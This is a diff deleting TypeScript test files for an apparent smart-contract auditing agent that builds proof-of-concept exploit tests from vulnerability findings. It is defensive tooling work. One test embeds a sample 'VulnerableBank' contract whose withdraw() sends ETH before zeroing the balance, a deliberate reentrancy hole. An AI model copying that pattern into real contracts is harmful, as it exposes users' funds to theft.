|
|
|
|
|
|
|
|
tests/run-input-test.ts
DELETED
|
@@ -1,67 +0,0 @@
|
|
| 1 |
-
import { testerAgent } from "../src/agents/tester/agent.js";
|
| 2 |
-
import { Finding, VulnerabilityReport } from "../src/agents/tester/types.js";
|
| 3 |
-
import { readFileSync } from "fs";
|
| 4 |
-
|
| 5 |
-
function mapFindingToReport(finding: Finding, sourceCode: string): VulnerabilityReport {
|
| 6 |
-
const nameMatch = finding.path.match(/([^\/]+)\.sol$/);
|
| 7 |
-
const contractName = nameMatch ? nameMatch[1] : "TargetContract";
|
| 8 |
-
|
| 9 |
-
return {
|
| 10 |
-
id: finding.title.toLowerCase().replace(/[^a-z0-9]+/g, "-").slice(0, 50),
|
| 11 |
-
severity: finding.severity === "high" ? "high" : finding.severity === "medium" ? "medium" : "low",
|
| 12 |
-
type: "custom",
|
| 13 |
-
title: finding.title,
|
| 14 |
-
description: finding.description,
|
| 15 |
-
affectedContract: {
|
| 16 |
-
name: contractName,
|
| 17 |
-
sourceCode: sourceCode,
|
| 18 |
-
},
|
| 19 |
-
attackVector: finding.judgeReview.exploitablePaths[0] || "Unknown vector",
|
| 20 |
-
exploitablePaths: finding.judgeReview.exploitablePaths,
|
| 21 |
-
codeSnippet: finding.codeSnippet,
|
| 22 |
-
location: finding.location
|
| 23 |
-
};
|
| 24 |
-
}
|
| 25 |
-
|
| 26 |
-
async function main() {
|
| 27 |
-
const input = JSON.parse(readFileSync("src/agents/tester/data/input.json", "utf-8"));
|
| 28 |
-
|
| 29 |
-
// O Finding do auditor já tem o 'codeSnippet', mas para o Oracle precisamos do 'sourceCode' completo.
|
| 30 |
-
// Como não temos o repositório do coder aqui, vamos usar o codeSnippet envolto em um contrato mínimo
|
| 31 |
-
// ou assumir que o codeSnippet é representativo para o teste.
|
| 32 |
-
// Na vida real, o index.ts passa o coderResult.contract.
|
| 33 |
-
|
| 34 |
-
// Vamos criar um sourceCode fake que contém o snippet para testar o fluxo.
|
| 35 |
-
const fakeSourceCode = `
|
| 36 |
-
pragma solidity ^0.8.20;
|
| 37 |
-
contract CafeToken {
|
| 38 |
-
mapping(address => uint256) public balances;
|
| 39 |
-
event RewardRedeemed(address indexed user, uint256 amount, string recompensa);
|
| 40 |
-
function _burn(address account, uint256 amount) internal {
|
| 41 |
-
balances[account] -= amount;
|
| 42 |
-
}
|
| 43 |
-
function balanceOf(address account) public view returns (uint256) {
|
| 44 |
-
return balances[account];
|
| 45 |
-
}
|
| 46 |
-
function mint(address account, uint256 amount) public {
|
| 47 |
-
balances[account] += amount;
|
| 48 |
-
}
|
| 49 |
-
${input.codeSnippet}
|
| 50 |
-
}
|
| 51 |
-
`;
|
| 52 |
-
|
| 53 |
-
const report = mapFindingToReport(input, fakeSourceCode);
|
| 54 |
-
|
| 55 |
-
console.log("Iniciando execução do Agente Tester com input.json...");
|
| 56 |
-
const result = await testerAgent.invoke({ report });
|
| 57 |
-
|
| 58 |
-
console.log("\n======= Resultado =======");
|
| 59 |
-
console.log("Status Final:", result.status);
|
| 60 |
-
console.log("Iterações:", result.iterations);
|
| 61 |
-
if (result.lastError) console.log("Último Erro:", result.lastError);
|
| 62 |
-
|
| 63 |
-
console.log("\n======= Código Gerado =======");
|
| 64 |
-
console.log(result.pocCode);
|
| 65 |
-
}
|
| 66 |
-
|
| 67 |
-
main().catch(console.error);
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
tests/scaffold.test.ts
DELETED
|
@@ -1,36 +0,0 @@
|
|
| 1 |
-
import { describe, expect, it } from "vitest";
|
| 2 |
-
|
| 3 |
-
import { generateLocalScaffold } from "../src/agents/tester/tools/scaffoldGenerator.js";
|
| 4 |
-
|
| 5 |
-
describe("generateLocalScaffold", () => {
|
| 6 |
-
it("creates a basic exploit scaffold", () => {
|
| 7 |
-
const mockReport = {
|
| 8 |
-
id: "t1",
|
| 9 |
-
severity: "high" as const,
|
| 10 |
-
type: "reentrancy",
|
| 11 |
-
title: "Reentrancy in withdraw()",
|
| 12 |
-
description: "withdraw() sends ETH before zeroing balance",
|
| 13 |
-
attackVector: "Malicious callback",
|
| 14 |
-
affectedContract: {
|
| 15 |
-
name: "VulnerableBank",
|
| 16 |
-
sourceCode: `
|
| 17 |
-
pragma solidity ^0.8.20;
|
| 18 |
-
contract VulnerableBank {
|
| 19 |
-
mapping(address=>uint) public balances;
|
| 20 |
-
function withdraw() external {
|
| 21 |
-
uint a = balances[msg.sender];
|
| 22 |
-
(bool ok,) = msg.sender.call{value:a}("");
|
| 23 |
-
require(ok); balances[msg.sender] = 0;
|
| 24 |
-
}
|
| 25 |
-
}`,
|
| 26 |
-
},
|
| 27 |
-
};
|
| 28 |
-
|
| 29 |
-
const scaffold = generateLocalScaffold(mockReport);
|
| 30 |
-
|
| 31 |
-
expect(scaffold).toContain("contract ExploitTest is Test");
|
| 32 |
-
expect(scaffold).toContain("VulnerableBank target");
|
| 33 |
-
expect(scaffold).toContain("function setUp()");
|
| 34 |
-
expect(scaffold).toContain("function test_Exploit()");
|
| 35 |
-
});
|
| 36 |
-
});
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
tests/state.test.ts
DELETED
|
@@ -1,16 +0,0 @@
|
|
| 1 |
-
import { describe, expect, it } from "vitest";
|
| 2 |
-
|
| 3 |
-
import { PoCStateAnnotation } from "../src/agents/tester/state.js";
|
| 4 |
-
|
| 5 |
-
describe("PoCStateAnnotation", () => {
|
| 6 |
-
it("defines the iterations field", () => {
|
| 7 |
-
const spec = (PoCStateAnnotation as any).spec;
|
| 8 |
-
expect(spec.iterations).toBeDefined();
|
| 9 |
-
});
|
| 10 |
-
|
| 11 |
-
it("uses additive reducer for iterations", () => {
|
| 12 |
-
const spec = (PoCStateAnnotation as any).spec;
|
| 13 |
-
const reducer = spec.iterations.reducer ?? ((x: number, y: number) => x + y);
|
| 14 |
-
expect(reducer(0, 1)).toBe(1);
|
| 15 |
-
});
|
| 16 |
-
});
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
tests/stub-run.ts
DELETED
|
@@ -1,19 +0,0 @@
|
|
| 1 |
-
import { testerAgent } from "../src/agents/tester/agent.js";
|
| 2 |
-
|
| 3 |
-
const mockReport = {
|
| 4 |
-
id: "test-stub",
|
| 5 |
-
severity: "high" as const,
|
| 6 |
-
type: "reentrancy",
|
| 7 |
-
title: "Test",
|
| 8 |
-
description: "Test",
|
| 9 |
-
attackVector: "Test",
|
| 10 |
-
affectedContract: { name: "Test", sourceCode: "pragma solidity ^0.8.0;" }
|
| 11 |
-
};
|
| 12 |
-
|
| 13 |
-
const result = await testerAgent.invoke({ report: mockReport });
|
| 14 |
-
|
| 15 |
-
console.assert(result.status === "success", `status deve ser success, mas foi ${result.status}`);
|
| 16 |
-
console.assert(result.iterations === 1, `iterations deve ser 1, mas foi ${result.iterations}`);
|
| 17 |
-
|
| 18 |
-
console.log("Grafo stub OK:", result.status);
|
| 19 |
-
console.log("Iterations:", result.iterations);
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|